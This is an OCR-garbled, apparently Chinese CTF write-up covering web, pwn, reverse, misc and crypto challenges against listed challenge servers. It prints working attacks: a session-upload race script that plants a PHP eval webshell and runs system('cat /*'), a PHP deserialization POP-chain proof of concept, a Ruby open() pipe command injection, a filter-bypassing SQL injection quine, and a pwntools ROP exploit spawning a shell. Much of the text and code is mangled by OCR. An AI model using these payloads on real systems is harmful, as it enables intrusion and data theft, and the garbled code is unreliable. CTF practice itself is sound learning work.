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< C A 722 | 114.115.185.167:32770/1 txt

PHP_EXTEL CONFIGURE ARGS=—-with-apxs2 —--disable-cgi

APACHE_CONFDIR=/etc/apache2

HOSTNAME=bET4d167731e

PHP_INI_DIR=/usr/local/etc/php

SHLVL=0

PHP_EXTRA BUILD_DEPS=apache2-dev

PHP_LDFLAGS=-W1,-01 -pie

APACHE_RUN_DIR=/war/run/apache?

PHFP_CFLAGS=—fstack-protector-strong —fpic —fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7. 4. 22

APACHE_PID_FILE=/var/run/apacheZ/apache2.pid

GPG_KEYS5=426TOATFE4D044 1C8E4632349E4FDCO7T4A4EF02D 5452880781F7556058BFS815FC910DEB46F53EA3L2
PHP_ASC_URL=https: //www. php. net/distributions/php-7. 4. 22. tar. xz. asc

PHP_CPPFLAGS=-fstack-protector-strong —fpic —fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

_evilemd=env>/var/www/html/ 1. txt

PHP_URL=https: //www. php. net/distributions/php-7. 4. 22. tar. xz
PATH=/usr/local/sbin: fusr/local/bin: fusr/sbin: fusr/bin: /sbin: /bin
APACHE_LOCK_DIR=/var/lock/apache2

LANG=C

APACHE_RUN_GROUP=vwww-data

APACHE_RUN_USER=www-data

APACHE_LOG_DIR=/wvar/log/apache?2

PWD=/var /www/html

PHPIIE_DEPS=autoconf dpkg-dev file g+ gcc
PHP_SHA256=8e078cd7d2f49ac3fcf£902490a5bb1addc885eTe3b0d8dd068f42c68297bdes
APACHE ENVVARS=/etc/apachel/envvars
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St 2mode=eval T LL¥tshelli{E Nphpinfof & sessionfs &
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session.upload_progress.cleanup Off Off

session.upload progress.enabled On On

session.upload_progress.freq 1% 1%

session.upload_progress.min_freq 1 1

session.upload_progress.name PHP_SESSION_UPLOAD PROGRESS PHP_SESSION_UPLOAD PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_

session.use_cookies 1 1

session.use_only cookies 1 1

session.use_strict_ mode 0 0

session.use_trans sid 0 0 CSDN @-CzEossF

iX B /) session.upload_progress.cleanup f2offff], A& H 3hiEsession 4
Bt AR 1% /& W] LA Fil session.upload_progressi# AT SO 4 file K B R 1 915,1X R E % Hllexp B
PHPSEEID% — s Bl AT




import io

import requests

import threading

sessid = 'aa’

def write_session(session):

url = "http://114.115.134.72:32770/index.php"

f = io.BytesIO(b'a' * 1024 * 50)

resp = session.post( 'http://127.0.0.1/session.php?file=/tmp/sess_"'+sessid,
data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files=
{'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )

if __name__ == '__main__
with requests.session() as session:

write_session(session)

XBf fEsessionXHF AW BT, BAESA tmp/sess_aa
B’NEREEE

1

7 upload_progress_bin boot dev etc flag_is_here_not_are_but_you_find home lib lib6é4 media mnt opt proc root run shin srv start.sh sys tmp usr var 123123123|a:5:
{s:10:"start_time";i:1631810852;5:14:"content_length®;i:51494;5:15:"bytes_processed*;i:32768;5:4:"done”;b:1;s:5: " files";a:1:{i:0;a:7:(s:10:"field_name®;s:4:*file”;s:4:"name”;s:5:" 1. txt";s:8: tmp_name®;s:14:"/tmp
error’;i:3;s:4:"done”;b:1;5:10:"start_time*;i:1631810853;5:15:"bytes_processed”;i:32514})}
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Encryption ~ Encoding » SQL = XS5 = Ofher =
@ Load URL hitp=/114.115.134.72:327 70/ Afile=/tmp/sess_aa
B splituRL

+) Exgcube
. @ Postdata [ Referer [ User Agent [ Cookies Clear All

cma=system(’ls )

CSDN @G

Bt & AT

}

7> upload_progress_flag(8b39ace789479585ae8b1e16c113161a)#!/bin/bash /usr/local/bin/apache2-foreground sleep infinity123123123]a:5:
{s:10:"start_time™;i:1631810852;s:14:"content_length™;i:51494;5:15:"bytes_processed™;i:32768;5:4:"done" b:1;5:5:" files™;a:1:{i:0;a:7:(s:10:"field_name";s:4:*file”;s:4:"name”;s:5:"1.txt";s:8:"tmp_name";s:14:"/tmp
/phpOXGZuC*;s:5:"error®;i:3;s:4:"done";b: 1;5:10:"start_time*;i:1631810853;5:15:"bytes_processed*;i:32514;}}}
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Encryption » Encoding = SQL = X3S =  Other

@ Load URL http:fi114. 115134 72: 32770V Mile=mp/sess_aa

# SplitURL
Exacute
I:'—I A Postdata [ Referer [] User Agent [ Cookies Clear Al

cmd=system{'cat /)

system(‘cat /*'); & Flflag.
flag{8b39ace789479585ae8b1e16¢c113161a}
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<?php

include 'flag.php’;
class pkshow

{

function echo_name()

{

return "Pk very safer.”";
)

)

class acp

{

protected $cinder;
public $neutron;
public $nova;

function __ construct()

{

$this->cinder = new pkshow;
b

function __ toString()

{

if (isset($this->cinder))

return $this->cinder->echo_name();
¥

¥

class ace

{

public $filename;

public $openstack;

public $docker;

function echo_name()

{

$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{

$file = "./{$this->filename}";

if (file_get_contents($file))

{

return file get_contents($file);

¥

else

{

return "keystone lost~";

¥

¥

}

}

if (isset($ GET['pks']))

{

$logData = unserialize($ _GET['pks']);
echo $logData;

}

else

{

highlight_file(_ file_ );

}

?>
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getf&iBpksSHUHAT RFFIL, T HN RFFILF AR LBIH#IT Techo, acp KEMA __tostring Ji%, FrblEEmmA acp
KT
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function __ toString()

{

if (isset($this->cinder))

return $this->cinder->echo_name();

¥

X B DMEEIEH] $this->cinder HIMEFFHAE echo_name() Hi¥k, ace EMBEXNHE. FTLAFEH] $this->cinder = new
ace()

BREREATE

function echo_name()

{

$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{

$file = "./{$this->Ffilename}";

if (file_get_contents($file))

{

return file_get_contents($file);

}

else

{

return "keystone lost~";

¥

¥

¥

HE ¢this->openstack->neutron === $this->openstack->nova #RJG#EH] $this->Filename BIRJ/ERE XA B XHAME
RBARM $this->openstack & $this->docker RFFUMLITHR, nova F neutron WANEBETE acp FEFELE, BT LAFEHI
$this->docker N acp KHFFINFZIFEEIN, IXB $this->openstack->neutron = $heat ¥ neutron IE NN ELEKZ

B gheat , WNZE UL acp KRN ZEHREAZIAT.

poc

S

<?php

class acp

{

protected $cinder;

public $neutron;

public $nova;

public function _ construct(){
$this->neutron = '';
$this->nova = '' ;

}

}
$A = new acp();
echo urlencode(serialize($A));

iR



0%3A3%3A%22acp%22%3A37%3A%7Bs%3A97%3A%227%007%2A%00cinder’%22%3BN%3Bs%3A7%3A%22neutron’2
27%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22n0ova%22%3Bs%3A0%3A%22%227%3B%7D

ZJg

<?php

class acp

{

protected $cinder;

public $neutron;

public $nova;

public function __construct(){

$this->neutron = ;

$this->nova = '' ;

$this->cinder = new ace();

}

¥

class ace

{

public $filename;

public $openstack;

public $docker;

public function __ construct(){

$this->filename = 'flag.php';

$this->docker =
'0%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutr
0n%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22n0ova%22%3Bs%3A0%3A%22%22%3B%7D" ; // L —1poc HI
&R

¥

¥

$A = new acp();

echo urlencode(serialize($A));
0%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%227%3B0%3A3%3A%22ace%22%3A3
%3A%7Bs%3A8%3A%22Ffilename%227%3Bs%3A8%3A%22f1ag . php’%22%3Bs%3A9%3A%220penstack’%22%
3BN%3Bs%3A6%3A%22docker’%22%3Bs%3A145%3A%220%253A3%253A%2522acp%2522%253A3%253A%2
57Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253Bs%253A7%253A%2522neutro
n%2522%253Bs%253A0%253A%2522%2522%253Bs%253A4%253A%2522nova%2522%253Bs%253A0%253
A%2522%2522%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%
22nova’22%3Bs%3A0%3A%227%22%3B%7D

52 JETEM 25D B 3% Fiflag

?php
/[ [flag{T75uSIqcabwdIibNADOpHGGNY1 Y} ;
heat="asdwelg648798qwe321d65";
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XA heatZ B 7Eflag.php . . _ETH T include(flag.php) /%03 AR &0 A H 4 B8 3T
flag{fXM75u5lqgcaEwdlibN4DOpHGGnyi}
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require 'sinatra’
require 'digest’
require 'base64'’

get '/' do
open("./view/index.html", 'r').read
end

get '/upload' do

open("./view/upload.html", 'r').read

end

post '/upload' do

unless params[:file] && params|:file][:tempfile]| && params|:file][:filename

&& params| :file][:filename].split('.")[-1] == 'png

return "<script>alert('error');location.href="/upload';</script>"
end

begin

filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file
filename]) + '.png’

open(filename, 'wb’ [ ]

f.write open(params|:file]| :tempfile], 'r').read

"Upload success, file stored at #{filename}"

rescue

'something wrong'

end

end

get '/convert' do

open("./view/convert.html"”, 'r').read

end

post '/convert' do

begin

unless params|'file’

return "<script>alert('error');location.href="/convert';</script>"
end

file = params|'file’

unless file.index('..") == nil && file.index('/') == nil && file =~
/M(C.+)\.png$/

return "<script>alert('dont hack me');</script>"

end

res = open(file, 'r').read

headers 'Content-Type' => "text/html; charset=utf-8"

"var img = document.createElement(\"img\");\nimg.src=
\"data:image/png;base64," + Baseb4d.encodeb4(res).gsub(/\s*/, ") + "\";\n"
rescue

'something wrong'

end

end
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Upload success, file stored at 46f5b8474b7¢85df53bb164b5585b307.png
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var img = document.createElement("img"); img.src= "data:iimage/png;base64 MTIzhijtz";- = =24
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file = params[ 'file’

file.index("..
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file = params['file’]

unless file.index('..'
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var img = document.createElement("img"); img.src= "data:image/png;base64,dGVzdAo=";
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MBI &WAT, flaghiiZERBERT, EAX /it % EHbaseb4dmit s, REMHshIT. shiEBEFHANpngXHT, B
btE—AMEE S

405391431calac9b33f35add1f4ef55c.png. H—2 file=|echo "Y2FOIC8q"|base64 -d >
0784368baeb4d@a58b04309f20df6f2e . png Y2F0IC8q cat /* fibase644ifid iR & Hh

1T file=|sh0784368baeb4d@a58b04309f20df6f2e. png>405391431calac9b33f35addlfdef55c. png B /5 B

3L file=405391431calac9b33f35add1fdef55c. png

var img = document.createElement(*img"); img.src= "dataimage/png;base64,ZmxhZ3tUdmF1eTM2dkUwTXd0OVdZT1pWT11zZGxOVDIKVGIYNHO=";
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<!--source code here: [?source-->

= | P e edeel -

VBT B3R, A ?source B ] & FYE D

<Tphp
include_once (“1ib. php”);
function alertMes($mes, Jurl) [
die("<scriptralert( {$mes]’);location. href=" (Jurll’ ;</script>”);
1

function checkSql($s) |
if(preg_match(”/regexp [between|in|flag|=|>|<|and|\| Iright |1eft |reverse |update |extractvalue | floor |substr [&] [\\\3|0x |sleep |\ /17,3800 (
alertMes( hacker’, index.php’);
1
)

if (isset($_POST[ username’]) && $_POST[ username’] != '° && isset($_POST[ password ]) && §_POST[ password’ ] != ') |
$username=3_POST [ usernams’ ];
Ypassword=$_POST[' password' ] ;

it (Jusername !'== 'admin’) |

alertMes(’ only admin can login', index.php );
1
checkSql ($password) ;

$5ql="SELECT password FRON users WHERE username=" admin' and password=" $password ;”;
$user_resul t=mysqli_query($con, $sql);
Jrow = mysqli_fetch_array(§user_result);
if  ('4row)
alertMes("something wrong”,” index. php’ ).

3

if ($ruw[,passwucrdJ ] === $passwucrd) {
die(JFLAG) ;

} oelse |

alertMes(“wrong password”, index.php’);

]

1f(isset ($_GET[ source’ 1)) {
show_source(__FILE_ ),
die,

NI 46 LA RAN 18 B i) sqiE N, Fbenchmark ()it [ BVE A LAE A= 8, ([EiagMERIEER, K5I Esys RAE R,
RIWEAR . WLz —NBEE T E— T E2flaghiZ#.



if (isset($_POST['username']) & $ POST['username'] != '' &&
isset($ POST['password']) &% $ POST['password'] != "") {
$username=$ POST[ 'username'];

$password=$_POST[ 'password'];

if ($username !== ‘admin') {

alertMes('only admin can login', ‘'index.php');

¥

checkSqgl($password);

$sql="SELECT password FROM users WHERE username='admin' and
password="$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {

alertMes("something wrong", 'index.php');
}

if ($row[ 'password'] === $password) {
die($FLAG);

} else {

alertMes("wrong password", 'index.php');
}

¥

TEusers® HL & #lpassword 254 username='admin' and password='$password’' X/ passwordEFATENE. EiHLERER
BAEHpasswordig L, HH%E Ndie(SFLAG) a2 WA 1R EMiE—Nsqlifa), MAEEMEaMNGEHERLTEMEENH
iTo

https://www.shysecurity.com/post/20140705-SQLi-Quine

XEXEVWIRER,WE R Kpayloadit— FREBEEH . RE{Rifreplace i ¥ A 5 A4 & e )5 BRAME— BT .
JR 3 Hpayload

SELECT REPLACE (REPLACE('SELECT

REPLACE (REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS
Quine',CHAR(34),CHAR(39)),CHAR(36), 'SELECT

REPLACE (REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

B E T EAARE, BOABRATRF A EAunionB & & #, B LA A AT #8 Z A0 L 515 +union IR A in_E 45 R IR #,

FAE . ., B BT PAZE = A char(39) ¥t ffichar(63).Quine i in th & #— T .
E&E%pgﬁg%iUﬁ{iﬁm{/ﬁmo 55y

UNION/**/SELECT/**/REPLACE (REPLACE (' "UNION/**/SELECT/**/REPLACE (REPLACE("?",CHAR
(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#"' ,CHAR(34),CHAR(39)),CHAR(63), ' "UNION/**
/SELECT/**/REPLACE (REPLACE("?",CHAR(34),CHAR(39)),CHAR(63), " 2")/**/AS/**/at' ) /**
JAS/**/att

H#¥post T H ¥

username=admin&password="UNION/**/SELECT/**/REPLACE (REPLACE (' "UNION/**/SELECT/**
/REPLACE (REPLACE("?",CHAR(34),CHAR(39)),CHAR(63), "?")/**/AS/**/a#", CHAR(34), CHAR
(39)),CHAR(63), ' "UNION/**/SELECT/**/REPLACE (REPLACE("?",CHAR(34),CHAR(39)), CHAR(
63),"2")/**/AS/**/a#' ) /**/AS/**/a#



« C @ O 8 114.115.143.2532770
Dymess @ FErE DsER O nwmd Qs O TeusBEczl. © De=roiE © SE—T, G0E ) CTF-Bugku-WEB-35.. @ PHP 7.40-dev - php.. @ E6BR O httpsy//igo
flag{4xTfpXWtBbrSNtCB48539jtyHfiUuylih}

O OS2 O O&EE HNAs (S O Onr B2 & TeEis § D985 @ Hadbar

Encryption » Encoding » SQL~ XSS~ Other =

& Load URL hittp://114.115.143.25:32770/

§ splituRL
| » ) Execute .
Postdata [ Referer [] User Agent [J Cookies Clear All

uscrname=admin&password="UNION/**/SELECT/*/REPLACE(REPLACE("UNION/**/SELECT
/*IREPLACE(REPLACE("?" CHAR(34) CHAR(30)) CHAR(63) "7")/IAS/~/a# CHAR(34) CHAR(30)) CHAR(63) “UNION//SELECT
*IREPLACE(REPLACE("?" CHAR(34) CHAR(39)) CHAR(63)."2")/IAS/*/a#')/"/AS/*/a#

flag{4xTioXWtBbrSNtCB48S 39jtyHflUylin}

pwn

« bountyhunter

1R ZE Tl A B v B A i rop % getshell, | Fpop rdiiX~gadgetfs AS%, /5 getshell

from pwn import*

io = remote("139.9.123.168",32548)
elf = ELF('./pwn")

libc = elf.libc

pop_rdi = 0x040120b

bin_sh_addr = 0x403408

system_addr = 0x40115C

payload = "'

payload += p64(pop_rdi)
io.sendline(b'A'*0x90 + p64(0) + p64(pop_rdi) + p64(bin_sh_addr) +
p64(system_addr))

io.interactive()

flag{GXaaWi8DWieSxP4leOILCSWLTe0G}
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Python#T & K pyd L4

ERIEFRERE

import brainfuck
brainfuck.main_check()

BERA T pyd3cfE, Epldiscs:
ldaiTFf MR EZR/F =

me
}b-)}))})))}b)):I'))b-}}))))))))))b))))))))))))[-]) ()[-](((((((

res

el b T T T T T T T T T T T Th T I B T T T T T T T The T T T Th T Th T T T T J’Pff”fff”’f’ffff’l”’fff’

db ">>>333335533335 5> [ (<L LLLLLLLLLLLLLLLLLLLLLLLLLLCLLLLLLCHd>]
db ">>>333333333333333335353353555 5555535555555 = | [ < ]>[ - ] #4444 [ <hitas’
db ">-]<e4><O[ ][ = 1<<[>[ =1 [>>4>4<<<= oo [<cad>= 4> [ [ ]¢-<<=>>> )<<’
db "-)<[-]>>[ <<= )<<[[-][-]>[-]c<cc<[>>>4>4<<<<=]>>>> [ <<+ - ]¢[ <"
db ‘+>[-]1]11<[>[=1><,><>[=]<<[=]>[>#<ce>=]>[<#>=J<o<[=]>[ = << [ >#>#<<=]"
db ">>[<<ad>- ][~ ]ertrttrtr i[> ][ <->[=]]<[>>[ - ]><o[ - Jcccccc[-]>"
db '>>>>[>#<<<<<<#>30 =3[ <> <0< [ =] ][ - ]>[ - ] € << e’
db " << D200 030303333353 353 3353533555555
db "> >4>4<CCLCLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL=]D200000000500) "
db ">3335355553353553555 50555550535 5+ [ (<< CCCLLLLLLLLLLLLLLLLLLLLLLCc’
db ' << LLLLCHEIDIDDIDIDDIDIIBDIDDOD33333333335553535553555555: - ][-]>[-]"
db '>[-]<<cq[>25454<<<<- 12000 [ <30 - [ [ 3o [ - ]¢[>4<- ] <+ [ >4<-]<-[ "
db ">+#<-]>]>>>[ -] €< CLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLC[ =]
db ">533333355553333535555533335 3355335353355 55 [ >4 L]
db << LLLLLLLLLLLLLHDIDDDIDDDIDDIIIDIDID23D333535533335355555 5>
db '>>>-]>[<#>- <[« J<[<[<#>=- ][> ] < <[ = ]>[ - ] > [ - Je<cccecccc<’
db " << CCCCLCCLCCLLLLLLLLLLLL[ 2302303533303 30 0> > BDh s’

W _E 2R Zbrainfuck N, FIFH M LA python, FTHEJL TR, i Afagk FHAME, S[i]=S[i]~s[i+1], 3
BB FR 85 HA
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char qf 1{%"?.;

int main()

for(int 1=30;i>=0;1--){
s[i])=s[i]"s[i+1];

)

for(int iz0;ic<zif;iss){
q(i)=s[i];

}

q[31)=52;

4

puts(q);

return ©;

jecetring .
char S[ I*N']={ 83,15,9%0,84,80,85,3,2,0,/,86,7,/,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,8/, -'.,"dj:';



#include<stdio.h>

#include<string.h>

char s[100]=
83,15,90,84,80,85,3,2,0,7,86,7,7,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,87,7
52

char g[100

int main

for(int i=30;i>=0;i--

s[i]=s[i]”s[i+1

for(int i=0;i<=30;i++

gqlil=s[i
q[31]=52

puts(q

return ©

¥ FEEC\Users\ASUS\Desktop\worl\1.exe
d78bbf3022bcdcslladfeddde’c9fdsd

after 0.01278 seconds with return value

flag{d78b6f30225cdc811adfe8d4e7c9fd34}
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audit.txt 2021/9/17 0:40 Ok =

—5Kjpg B Fr, —FKpng & A

PITkE R R —FER, R A EKE, EHbwmBIAR LA E.
bwmfii Atk https://github.com/chishaxie/BlindWaterMark
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fi4 python bwmforpy3.py decode 1.jpg 1.png flag.png

xfbrror. cannot do a non—empty take Iro an empty axe:s

':EElindWaterMark—m&ster} ython bwmforpy3. py decode
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F—/NEEE L FREHTH, 5B /NEREIRARLRRIRBpohlig_helman¥idi, BEEIRET, H=/ ESSSAYHE, KK
AsmartattackBiA], 2,3 fiA<github Bl E HIpohlig_hellman

from sage.all import *

def pohlig hellman(curve, G, H, verbose=False):

def log(*args, **kwargs):

if verbose:

print(*args, **kwargs)

n = curve.order()

log(f"Order = {n}")

factors = factor(n, verbose=1 if verbose else 0)
log(f"Factorization: {factors}")

v =[]

moduli = []

# 1. Decompose one DLP to many DLPs

for p_i, e_i in factors[:-1]:

log(f"{p_i}**{e_i}: ", end="")

order = p_i ** e_i # Order of new group
moduli.append(order)

power = n // order # Power to make new generator and point
G_i =G * power

H_i=H * power

Xx_1 = G_i.discrete_log(H_i, order) # H 1 = x _1*G_1 mod p_i**e 1
log(x_1i)

v.append(x_i)

# 2. Use CRT to solve congruences x = x_1 mod p_i**e 1
X = CRT_list(v, moduli)

return x % n

smartattack



from sage.all import EllipticCurve

from sage.all import Qp

from sage.all import ZZ

# Lifts a point to the p-adic numbers.

def _lift(curve, point, gf):

X, y = map(ZZ, point.xy())

for point_ in curve.lift x(x, all=True):

X_, y_ = map(gf, point_.xy())

ify==y_:

return point_

def attack(base, multiplication_result):

Solves the discrete logarithm problem using Smart's attack.

More information: Smart N. P., "The discrete logarithm problem on elliptic
curves of trace one"

:param base: the base point

:param multiplication_result: the point multiplication result
:return: 1 such that 1 * base == multiplication_result

curve = base.curve()

gf = curve.base_ring()

p = gf.order()

assert curve.trace_of_frobenius() == 1, f"Curve should have trace of
Frobenius = 1."

lift_curve = EllipticCurve(Qp(p), list(map(lambda a: int(a) + p *

ZZ .random_element(1, p), curve.a_invariants())))

lifted_base = p * _lift(lift_curve, base, gf)
lifted_multiplication_result = p * _1lift(lift_curve, multiplication_result,
gf)

1b_x, 1lb_y = lifted_base.xy()

Imr_x, lmr_y = lifted_multiplication_result.xy()

return int(gf((lmr_x / 1mr_y) / (1lb_x / 1b_y)))

flag{025ab3d9-2521-4a81-9957-8c3381622434}

« doublesage
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